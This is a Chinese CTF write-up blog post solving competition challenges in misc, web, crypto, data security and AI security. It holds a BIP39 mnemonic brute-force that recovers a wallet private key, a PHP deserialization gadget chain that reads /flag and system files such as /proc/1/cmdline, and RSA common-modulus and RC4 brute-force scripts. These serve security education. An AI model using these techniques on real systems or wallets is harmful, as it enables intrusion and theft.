跳过正文
  1. Posts/

第八届浙江省大学生网络与信息安全竞赛 初赛 WriteUp

·1724 字·4 分钟
目录

感谢队友带飞

第八届浙江省大学生网络与信息安全竞赛 初赛 WriteUp By A1natas
Dr0n’s blog: 第八届浙江省大学生网络与信息安全竞赛预赛-wp

misc
#

5-2 RecoverWallet
#

缺少一个助记词,遍历字典爆破

from mnemonic import Mnemonic
from bip32utils import BIP32Key
from web3 import Web3

# 定义硬化索引偏移量
BIP32_HARDEN = 0x80000000

# 获取BIP39英文单词列表
mnemo = Mnemonic("english")
wordlist = mnemo.wordlist

# 基础助记词单词,其中第5个单词未知
base_words = ["ankle", "assume", "estate", "permit", None, "eye",
              "fancy", "spring", "demand", "dial", "awkward", "hole"]
target_suffix = "700f80"  # 目标地址后缀

# 遍历所有可能的单词
for word in wordlist:
    base_words[4] = word  # 替换第5个单词(索引4)
    mnemonic = " ".join(base_words)

    # 检查助记词有效性(校验和)
    if not mnemo.check(mnemonic):
        continue

    # 生成种子
    seed = mnemo.to_seed(mnemonic)

    # 从种子生成BIP32根密钥
    root_key = BIP32Key.fromEntropy(seed)

    # 推导路径: m/44'/60'/0'/0/0
    # 44' (硬化)
    child_key = root_key.ChildKey(44 + BIP32_HARDEN)
    # 60' (硬化)
    child_key = child_key.ChildKey(60 + BIP32_HARDEN)
    # 0' (硬化)
    child_key = child_key.ChildKey(0 + BIP32_HARDEN)
    # 0 (非硬化)
    child_key = child_key.ChildKey(0)
    # 0 (非硬化)
    child_key = child_key.ChildKey(0)

    # 获取私钥
    private_key = child_key.PrivateKey()
    private_key_hex = private_key.hex()

    # 从私钥生成以太坊地址
    account = Web3().eth.account.from_key(private_key_hex)
    address = account.address

    # 检查地址是否以目标后缀结尾
    if address.lower().endswith(target_suffix):
        print("找到匹配的助记词和地址:")
        print("助记词:", mnemonic)
        print("地址:", address)
        break

web
#

1-2 EzSerialize
#

  1. Php 反序列化,用下面的代码读一下/flag
<?php
class User
{
    private $name;
    private $role;

    public function __construct($name, $role)
    {
        $this->name = $name;
        $this->role = $role;
    }
    public function __toString()
    {
        return $this->role->getInfo();
    }
}
class Admin
{
    private $command;

    public function __construct($command)
    {
        $this->command = $command;
    }
    public function __call($method, $args)
    {
        if ($method === "getInfo") {
            return $this->command->execute();
        }
        return "Method $method not found";
    }
}
class FileReader
{
    private $filename;

    public function __construct($filename)
    {
        $this->filename = $filename;
    }

    public function execute()
    {
        // 危险操作:直接读取文件
        if (file_exists($this->filename)) {
            return "<pre>" .
                htmlspecialchars(file_get_contents($this->filename)) .
                "</pre>";
        } else {
            return "文件不存在: " . $this->filename;
        }
    }
}
$fr = new FileReader("/flag");
$admin = new Admin($fr);
$user = new User("Alice", $admin);
echo base64_encode(serialize($user));

内容为空,读取/proc/1/cmdline 看看有没有线索:

接着读取/start.sh:

把 flag 写入 flag.php 了,所以读取 flag.php 就好了:

crypto
#

4-1 RSA_Common_Attack
#

看出来是共模攻击,通过扩展欧几里得公式可以得出:

$$m = ((c_{1}^{s_1} \% n)*(c_2^{s_2} \% n))\%n$$


Exp:

from Crypto.Util.number import *
import gmpy2

n = 12184620342604321526236147921176689871260702807639258752158298414126076615130224253248632789995209263378074151299166903216279276546198828352880417707078853010887759267119069971739321905295081485027018480973993441393590030075971419165113599211569178425331802782763120185350392723844716582476742357944510728860535408085789317844446495987195735585533277358245562877243064161565448407188900804528695784565011073374273835326807616704068806996983861885772305191259029021518998160545972629938341341148477795894816345752396040127286263780418335699743896454197151019898505844519753453115300227481242993291336748858733029540609
e1 = 65537
e2 = 10001
c1 = 902947871638340144585350496607905036788917988784297938051712515029419473301205843372041904115813361402310512640716508455953201343091183980022416880886523265909139556951175072940441586166669057233430247014907124872576782948489940428513680356381769358116956570193102584168134758031000460513472898624075765670452482015562555449322262139576088011030490086784087285869959810062075648470122232452663599195404333292792928816934802064740144937473749408450501803510475933273448208685792400696632919950948832464784621694657179199125876564156360048730797653060931844444935302553732964065897065735427838601696506594726842758656
c2 = 7024079443689213821451191616762957236018704240049119768827190246286227366906772824421534943039282921384333899446122799252327963055365970065258371710141470872948613397123358914507497871585713222863470875497667604127210508840915183968145267083193773724382523920130152399270957943228022350279379887455019966651166356404967621474933206809521046480962602160962854745553005978607776790079518796651707745342923714121497001171456582586327982922261473553814594384196824815090185841526000247291514943042643385984600122463395695871306301585799490389353720773152762256126676456786420058282912965520064317739998211921049808590504

s0, s1, s2 = gmpy2.gcdext(e1, e2)
m = (pow(c1, s1, n) * pow(c2, s2, n)) % n
flag = long_to_bytes(gmpy2.iroot(m, s0)[0])
print(flag)

4-2 ez_stream
#

一看 flag 中的未知数只有 11 个,且前面的 S,K,N 都是固定的,就可以开始爆破
Exp:

from Crypto.Util.number import *
import gmpy2

tt = [164, 34, 242, 5, 234, 79, 16, 182, 136, 117, 78, 78, 71, 168, 72, 79, 53, 114]

for a in [
    "a",
    "b",
    "c",
    "d",
    "e",
    "f",
    "g",
    "h",
    "i",
    "j",
    "k",
    "l",
    "m",
    "n",
    "o",
    "p",
    "q",
    "r",
    "s",
    "t",
    "u",
    "v",
    "w",
    "x",
    "y",
    "z",
    "A",
    "B",
    "C",
    "D",
    "E",
    "F",
    "G",
    "H",
    "I",
    "J",
    "K",
    "L",
    "M",
    "N",
    "O",
    "P",
    "Q",
    "R",
    "S",
    "T",
    "U",
    "V",
    "W",
    "X",
    "Y",
    "Z",
    "1",
    "2",
    "3",
    "4",
    "5",
    "6",
    "7",
    "8",
    "9",
    "0",
    "_",
]:
    flag = "DASCTF{rc4_is_easy" + a

    t = [ord(letter) for letter in flag]

    N, K, S = [256, [0] * 256], [0] * 256, [i for i in range(256)]

    key = "love"

    for i in range(256):
        S[i], K[i] = i, ord(key[i % len(key)])

    j = 0

    for i in range(256):
        j = (j + S[i] + K[i]) % 256
        S[i], S[j] = S[j], S[i]

    i, j = 0, 0

    for k in range(len(t)):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        t[k] ^= S[(S[i] + S[j]) % 256]

    if t == tt:
        print(a)


Flag 即为 DASCTF{rc4_is_easy}

data security
#

6-1 dsEnData
#

写脚本还原

import base64
import csv


def decode(encoded_data, K="a1a60171273e74a6"):
    data = base64.b64decode(encoded_data)
    res = b""
    for i in range(len(data)):
        # 计算密钥索引: (i+1) & 15
        c = K[(i + 1) & 15]
        # 异或操作解密
        res += bytes([data[i] ^ ord(c)])
    return res.decode("utf-8")


def decrypt_csv(input_file, output_file):
    with open(input_file, "r", encoding="utf-8") as csv_in:
        reader = csv.reader(csv_in)
        header = next(reader)
        rows = []
        for row in reader:
            decrypted_row = []
            for field in row:
                decrypted_field = decode(field)
                decrypted_row.append(decrypted_field)
            rows.append(decrypted_row)
    with open(output_file, "w", encoding="utf-8", newline="") as csv_out:
        writer = csv.writer(csv_out)
        writer.writerow(header)
        writer.writerows(rows)


if __name__ == "__main__":
    input_csv = "encoded_data.csv"
    output_csv = "decrypted_data.csv"
    decrypt_csv(input_csv, output_csv)
    print("解密完成!解密后的数据已保存到", output_csv)

6-2 dssql
#

本地没有装 mysql,所以只能用 python 脚本进行清洗了

import string, time

file = open("data.sql", "r").readlines()


def load_roles():
    roles = file[9026:9031]
    for i in range(len(roles)):
        roles[i] = roles[i][28:][:-2].split(", ")
        roles[i][0] = int(roles[i][0])
        for j in range(1, len(roles[i])):
            roles[i][j] = roles[i][j][1:-1]
        roles[i][2] = roles[i][2][:-1].split(",")
    return roles


def load_users():
    users = file[9049:11049]
    for i in range(len(users)):
        users[i] = users[i][28:][:-2].split(", ")
        users[i][0] = int(users[i][0])
        for j in range(1, len(users[i])):
            users[i][j] = users[i][j][1:-1]
        users[i][-1] = users[i][-1][:-1]
    return users


def load_opers():
    opers = file[34:9012]
    for i in range(len(opers)):
        opers[i] = opers[i][33:][:-2].split(", ")
        opers[i][0] = int(opers[i][0])
        opers[i][1] = int(opers[i][1])
        for j in range(2, len(opers[i])):
            opers[i][j] = opers[i][j][1:-1]
        opers[i][-1] = opers[i][-1][:-1]
    return opers


def verify_idcard(idcard: str) -> bool:
    if len(idcard) != 18:
        return False
    weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
    check_digits = ["1", "0", "X", "9", "8", "7", "6", "5", "4", "3", "2"]
    total = 0
    for i in range(17):
        if not idcard[i].isdigit():
            return False
        total += int(idcard[i]) * weights[i]
    mod = total % 11
    return idcard[17].upper() == check_digits[mod]


def verify_bankcard(bankcard: str) -> bool:
    if not bankcard.isdigit() or not (16 <= len(bankcard) <= 19):
        return False
    digits = [int(d) for d in bankcard]
    checksum = digits.pop()
    digits.reverse()
    for i in range(len(digits)):
        if i % 2 == 0:
            digits[i] *= 2
            if digits[i] > 9:
                digits[i] -= 9
    total = sum(digits)
    calculated_checksum = (10 - (total % 10)) % 10
    return checksum == calculated_checksum


def verify_date(date_str: str, birth: str) -> bool:
    # 在 2015/1/1 到 2025/10/31 之间
    try:
        d = time.strptime(date_str, "%Y/%m/%d")
        if d < time.strptime("2015/1/1", "%Y/%m/%d") or d > time.strptime(
            "2025/10/31", "%Y/%m/%d"
        ):
            return False
        # 出生日期不能晚于注册日期
        bd = time.strptime(birth, "%Y%m%d")
        if bd > d:
            return False
        return True
    except Exception:
        return False


def check_info_err(users: list):
    errs = []
    for user in users:
        # 姓名违规
        if (
            (not (2 <= len(user[1]) <= 4))
            or (all(ch in string.printable for ch in user[1]))
            or user[1] == ""
        ):
            errs.append(user[1])
            continue
        # 手机号违规
        if (
            (not len(user[2]) == 11)
            or (not user[2].isdigit())
            or (not user[2].startswith(("13", "14", "15", "16", "17", "18", "19")))
        ):
            errs.append(user[1])
            continue
        # 身份证号验证
        if (
            (not len(user[3]) == 18)
            or (
                not (
                    user[3][:17].isdigit()
                    and (user[3][17].isdigit() or user[3][17] in ["X", "x"])
                )
            )
            or (not verify_idcard(user[3]))
        ):
            errs.append(user[1])
            continue
        # 银行卡号验证
        if (
            (not (16 <= len(user[4]) <= 19))
            or (not user[4].isdigit())
            and (not verify_bankcard(user[4]))
        ):
            errs.append(user[1])
            continue
        # 注册日期验证
        if not verify_date(user[5], user[3][6:14]):
            errs.append(user[1])
    return errs


def check_priv_err(opers: list, roles: list, users: list):
    errs = []
    for oper in opers:
        user = users[oper[1] - 1]
        role = user[-1]
        role_privs = []
        for i in range(len(roles)):
            if roles[i][1] == role:
                role_privs = roles[i][2]
                break
        if oper[3] not in role_privs and user[1] not in errs:
            print(user, oper, role_privs)
            errs.append(user[1])
    return errs


roles = load_roles()
users = load_users()
opers = load_opers()
with open("output.csv", "w") as f:
    for err in check_info_err(users):
        f.write(f"{err},信息违规\n")
    for err in check_priv_err(opers, roles, users):
        f.write(f"{err},操作违规\n")

ai security
#

8-2 ez_AI_inject
#

提示词注入

系统提示词:

Timmy
作者
Timmy
Fighting for Love.

相关文章

HGame Mini 2025 WriteUp
·311 字·1 分钟
?CTF 2025 WriteUp
·6009 字·12 分钟
0xGame 2025 WriteUp
·408 字·1 分钟